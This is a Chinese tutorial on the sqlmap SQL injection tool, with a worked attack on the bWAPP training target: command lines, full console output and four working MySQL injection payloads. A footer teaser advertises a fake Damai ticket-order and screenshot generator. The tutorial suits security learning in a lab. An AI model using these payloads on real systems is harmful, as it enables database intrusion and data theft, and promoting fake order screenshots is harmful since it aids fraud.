渗透测试工具-sqlmap使用

news2024/9/21 11:13:31

sqlmap是一个开源渗透测试的自动化工具,可以自动检测和利用SQL注入漏洞并接管数据库服务器。它配备了一个强大的检测引擎,许多用于终极渗透测试的利基功能,以及广泛的开关,包括数据库指纹识别、从数据库中获取数据、访问底层文件系统,以及通过带外连接在操作系统上执行命令。

特点

Sqlmap的主要特点如下。

●支持多种数据库:MySQL、Oracle、PostgreSQL、Microsoft SQL Server、MariaDB、Microsoft Access、IBM DB2、SQLite、Sybase等。

●支持6种SQL注入技术:布尔盲注、时间盲注、显错式注入、联合查询注入、堆查询注入和OOB(Out-Of-Band,带外数据)注入。

●支持用户名、数据库、数据表、字段等信息的枚举。●支持自动识别密码哈希格式,并使用字典破解密码。●支持在所有数据库中搜索特定的数据库名、数据表名和字段。由于SQL注入漏洞的存在范围较广、危险性较大,Sqlmap强大的检测引擎为渗透测试提供了极大的便利。

安装

sqlmap是用python语言编写的,在安装Sqlmap之前,需要先安装Python 2.6/2.7或Python 3.x。

下载zip包解压。

Sqlmap的参数Sqlmap的选项参数有Target、Request、Injection、Brute force等13类,较常用的有以下4类。

●Target:确定SQL注入检测和攻击的目标,如指定URL。

●Request:定义如何连接目标URL,也就是定义请求内容,如指定Cookie的值。

●Injection:指定要测试的参数、提供payload等,如指定注入点。

●Enumeration:最常用且最重要的选项参数,主要用来枚举信息,如数据库、数据表和字段等信息。 

常用参数及说明

常见的Sqlmap参数使用方法如下

(1)GET型注入使用参数“-u”指定SQL注入的URL,URL中包含GET请求参数。 

(2)POST型注入

使用参数“-u”指定SQL注入的URL,参数“--data”指定POST请求的数据体。 

(3)带Cookie参数的注入

使用参数“-u”指定SQL注入的URL,参数“--cookie”指定请求中携带的Cookie值。 

 

(4)枚举所有数据库名

 使用参数“-u”指定SQL注入的URL,参数“--dbs”枚举所有的数据库。

(5)枚举指定数据库所有数据表的表名

使用参数“-u”指定SQL注入的URL,参数“--tables”枚举所有的数据表,参数“-D”指定枚举数据表所在的数据库。 

示例

测试使用bwapp靶机

1、get+cookie

SQL Injection (GET/Search),级别low,使用burpsuite代理,操作搜索抓到get方法。

然后复制url至sqlmap进行测试。

python sqlmap.py -u "http://locahost/sqli_1.php?title=a&action=search" --cookie="PHPSESSID=2jm70f1ms8rv5hs3m58p7ugan0; security_level=0"

 

D:\Program Files\sqlmapproject-sqlmap-7a6abb5>python sqlmap.py -u "http://locahost/sqli_1.php?title=a&action=search" --cookie="PHPSESSID=2jm70f1ms8rv5hs3m58p7ugan0; security_level=0"
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.7.10.3#dev}
|_ -| . ["]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 19:05:23 /2023-10-25/

[19:05:25] [INFO] testing connection to the target URL
[19:05:25] [WARNING] potential CAPTCHA protection mechanism detected
[19:05:25] [INFO] checking if the target is protected by some kind of WAF/IPS
[19:05:25] [INFO] testing if the target URL content is stable
[19:05:25] [INFO] target URL content is stable
[19:05:25] [INFO] testing if GET parameter 'title' is dynamic
[19:05:25] [INFO] GET parameter 'title' appears to be dynamic
[19:05:26] [INFO] heuristic (basic) test shows that GET parameter 'title' might be injectable (possible DBMS: 'MySQL')
[19:05:26] [INFO] heuristic (XSS) test shows that GET parameter 'title' might be vulnerable to cross-site scripting (XSS) attacks
[19:05:26] [INFO] testing for SQL injection on GET parameter 'title'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[19:05:38] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:05:38] [WARNING] reflective value(s) found and filtering out
[19:05:38] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[19:05:38] [INFO] testing 'Generic inline queries'
[19:05:38] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[19:05:39] [INFO] GET parameter 'title' appears to be 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)' injectable (with --string="Tony")
[19:05:39] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[19:05:39] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[19:05:39] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[19:05:39] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[19:05:39] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[19:05:39] [INFO] GET parameter 'title' is 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' injectable
[19:05:39] [INFO] testing 'MySQL inline queries'
[19:05:39] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[19:05:39] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[19:05:39] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[19:05:39] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[19:05:39] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[19:05:39] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[19:05:39] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[19:05:49] [INFO] GET parameter 'title' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[19:05:49] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[19:05:49] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[19:05:49] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[19:05:49] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[19:05:49] [INFO] target URL appears to have 6 columns in query
[19:05:49] [INFO] GET parameter 'title' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'title' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 51 HTTP(s) requests:
---
Parameter: title (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: title=a%' AND 2361=2361#&action=search

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: title=a%' AND GTID_SUBSET(CONCAT(0x71766a7671,(SELECT (ELT(5885=5885,1))),0x7171767671),5885) AND 'GosY%'='GosY&action=search

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: title=a%' AND (SELECT 9644 FROM (SELECT(SLEEP(5)))Qlbf) AND 'DOFS%'='DOFS&action=search

    Type: UNION query
    Title: MySQL UNION query (NULL) - 6 columns
    Payload: title=a%' UNION ALL SELECT NULL,NULL,CONCAT(0x71766a7671,0x724657704c5462437969727444704961755a5573736f44544a6946706a49417843735672686f6b77,0x7171767671),NULL,NULL,NULL#&action=search
---
[19:06:07] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.6.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.6
[19:06:07] [INFO] fetched data logged to text files under 'C:\Users\\AppData\Local\sqlmap\output\locahost'

[*] ending @ 19:06:07 /2023-10-25/

先找到了title参数为动态的,可注入的injectable
参数title可能存在XSS攻击
接着测试了'AND boolean-based blind - WHERE or HAVING clause'
testing 'Boolean-based blind - Parameter replace (original value)'
testing 'Generic inline queries'
testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
结论:存在布尔注入,基于错误的注入,基于时间的盲注,UNION查询。

2、post方法

D:\Program Files\sqlmapproject-sqlmap-7a6abb5>python sqlmap.py -u "http://locahost/login.php" --data="login=bee&password=bug&security_level=0&form=submit"
 

 

直接看结论,没找到可以注入的地方。 

 sqlmap连接数据库

sqlmap文件读取目标

 sqlmap google批量扫注入

 sqlmap设置HTTP方法

sqlmap设置POST请求参数

sqlmap设置参数分隔符

sqlmap设置cookie头

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1135242.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

NI Multisim 14.0使用技巧

资料 信号发生器 频率 占空比 振幅 偏置 示波器

【Java集合类面试二十八】、说一说TreeSet和HashSet的区别

文章底部有个人公众号&#xff1a;热爱技术的小郑。主要分享开发知识、学习资料、毕业设计指导等。有兴趣的可以关注一下。为何分享&#xff1f; 踩过的坑没必要让别人在再踩&#xff0c;自己复盘也能加深记忆。利己利人、所谓双赢。 面试官&#xff1a;说一说TreeSet和HashSet…

【Linux】从零开始学习Linux基本指令(三)

&#x1f6a9;纸上得来终觉浅&#xff0c; 绝知此事要躬行。 &#x1f31f;主页&#xff1a;June-Frost &#x1f680;专栏&#xff1a;Linux入门 &#x1f525;该文章主要了解Linux操作系统下的基本指令。 ⚡️该篇为Linux指令部分的终章&#xff0c;如果您想了解前两篇文章的…

canvas常用方法,canvas绘制时钟案例

时钟案例实现 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><title>Title</title><style>body {padding: 0;margin: 0;background-color: rgba(0, 0, 0, 0.1)}canvas {display: block;margin: …

list列表前端分页功能已经提交list时容易犯错的问题回顾

最近在开发中&#xff0c;有返回list需要前端分页的&#xff0c;而且后续还需提交整个list&#xff0c;虽说前端分页并不难&#xff0c;但还有会有一些问题&#xff1a; 从图片代码就可以很清晰的看到前端分页&#xff0c;如何点击页数翻页的&#xff0c;很简单&#xff0c;但…

《低代码指南》——如何用维格表实现餐饮数字化

信息 企业采购了相关餐饮 SssS 系统,很多餐饮企业一线员工对软件认知水平不足,在内部很难普遍推广餐饮系统员工不爱用,只有老板看,老板看完以后还要往下一级一级分发任务和指标各门店及岗位、仍存在办公协同困难大,一线员工还是人工处理数据,统计数据不及时、效率低、信息…

SSL证书优惠活动

当今互联网世界充满了网络威胁&#xff0c;安全性已经成为每个网站所有者和用户的首要关注。SSL证书是一种保护网站和用户数据安全的关键工具。为了帮助您提高您的网站安全性&#xff0c;在双十一来临之前&#xff0c;我们很高兴地宣布一项近乎疯狂的SSL证书优惠活动&#xff1…

信息科技如何做好风险管理

文章目录 前言介绍亮点结构读者对象 前言 信息科技对金融业务发展所起的作用是举足轻重的。 近年来&#xff0c;金融机构在战略规划中相继引入科技引领的概念。作为金融机构信息科技从业人员&#xff0c;我们笃信信息科技是一个非常有用的工具&#xff0c;一个兼具产品思维和管…

Ubuntu安装VM TOOLS解决虚拟机无法和WINDOWS粘贴复制问题

1&#xff1a;首先使用VMware Workstation安装一个Ubuntu的系统。 2&#xff1a;现在已经不建议安装VM TOOLS。建议安装OPEN-VM-TOOLS。 3&#xff1a;进入系统使用下面的命令安装。 sudo apt install open-vm-tools 4&#xff1a;提示下面错误&#xff0c;Package open-vm…

大麦抢票订单生成 大麦订单一键生成 大麦订单截图

1、能够一键的进行添加&#xff0c;生成的假订单是没有水印的&#xff0c;界面也很真实。 2、在软件中输入生成的信息&#xff0c;这里输入的是商品信息&#xff0c;选择生成的商品图片&#xff0c;最后生成即可。 新版大麦订单生成 图样式展示 这个样式图就是在大麦生成完…

学生专用台灯怎么选?双十一专业学生护眼台灯推荐

台灯应该是很多家庭都会备上一盏的家用灯具&#xff0c;很多大人平时间看书、用电脑都会用上它&#xff0c;不过更多的可能还是给家中的小孩学习、阅读使用的。而且现在的孩子近视率如此之高&#xff0c;这让家长们不得不重视孩子的视力健康问题。那么孩子学习使用的台灯应该怎…

禧侬农韶关基金发布会

禧侬农信息科技&#xff08;深圳&#xff09;有限公司韶产业引导基金发布会圆满成功 红润控股集团旗下子公司禧侬农信息科技&#xff08;深圳&#xff09;有限公司与香港开心联众集团在政府的见证和支持下&#xff0c;达成了产业引导基金的战略合作伙伴关系。这意味着未来禧侬…

UG\NX二次开发 修改dlx对话框标题的方法

文章作者:里海 来源网站:王牌飞行员_里海_里海NX二次开发3000例,里海BlockUI专栏,C\C++-CSDN博客 简介 UG\NX二次开发 修改dlx对话框标题的方法 效果 代码 theDialog->TopBlock()->FindBlock("Dialog")->GetProperties()->SetString("Label"…

如何为你的地图数据设置地图样式?

地图样式设置是GIS系统中非常重要的功能模块&#xff0c;水经微图Web版本最近对符号样式功能模块进行了升级。 你可以通过以下网址直接打开访问&#xff1a; https://map.wemapgis.com 现在我们为大家分享一下水经微图Web版中&#xff0c;如何为你标注的地图数据设置地图样式…

【Linux】Socket(初识网络)

目录 一、网络初识1.协议2.OSI七层模型3.TCP/IP五层模型4.通讯原理图解 二、socket1.源IP和目的IP2.端口号3.端口号和进程ID4.初识TCP、UCP协议5.网络字节序 三、socket接口1.常见API2.sockaddr结构 一、网络初识 网络在计算机中的位置。 网络也是一种软件&#xff0c;所以网…

将设计模式门面模式运用到生活当中

文章目录 &#x1f31f; 如何将设计模式门面模式运用到生活当中&#x1f34a; 家居篇&#x1f389; 门锁控制&#x1f389; 窗帘控制 &#x1f34a; 旅游篇&#x1f389; 行程规划&#x1f389; 旅游出行 &#x1f34a; 金融篇&#x1f389; 网上银行&#x1f389; 投资产品 &a…

prosemirror 学习记录(四)decoration

使用 decorations 使用 props - decorations() 添加 decorations 写一个简单的插件&#xff1a;高亮所有 apple 节点 export const MyHighlightApplesPlugin new Plugin({props: {// view 每次变化都会执行 decorations 方法decorations(state) {let arrs [];state.doc.de…

Linux常用命令——chsh命令

在线Linux命令查询工具 chsh 用来更换登录系统时使用的shell 补充说明 chsh命令用来更换登录系统时使用的shell。若不指定任何参数与用户名称&#xff0c;则chsh会以应答的方式进行设置。 语法 chsh(选项)(参数)选项 -s<shell 名称>或--shell<shell 名称>&a…

【QT开发笔记-基础篇】| 第四章 事件QEvent | 4.10 总结QT中的事件传递流程

本节对应的视频讲解&#xff1a;B_站_链_接 【QT开发笔记-基础篇】 第4章 事件 4.10 总结事件传递流程(1) 事件处理函数接受还是忽略 本章要实现的整体效果如下&#xff1a; 事件传递总流程图&#xff0c;如下&#xff1a; 这张图是不是还不太明白&#xff1f;&#xff1f; 别…

《CS2》隆重登场,艾尔莎EA H610M-I和你征战新版本

作为电竞游戏的常青树&#xff0c;《反恐精英》的热门程度可以说是经久不衰。虽然《反恐精英》已经迭代了许多个版本&#xff0c;但是上一次大版本更新已经是2012年的《CS:GO》了。最近&#xff0c;V社正式上线了全新的《CS2》&#xff0c;它是由Source2引擎所开发&#xff0c;…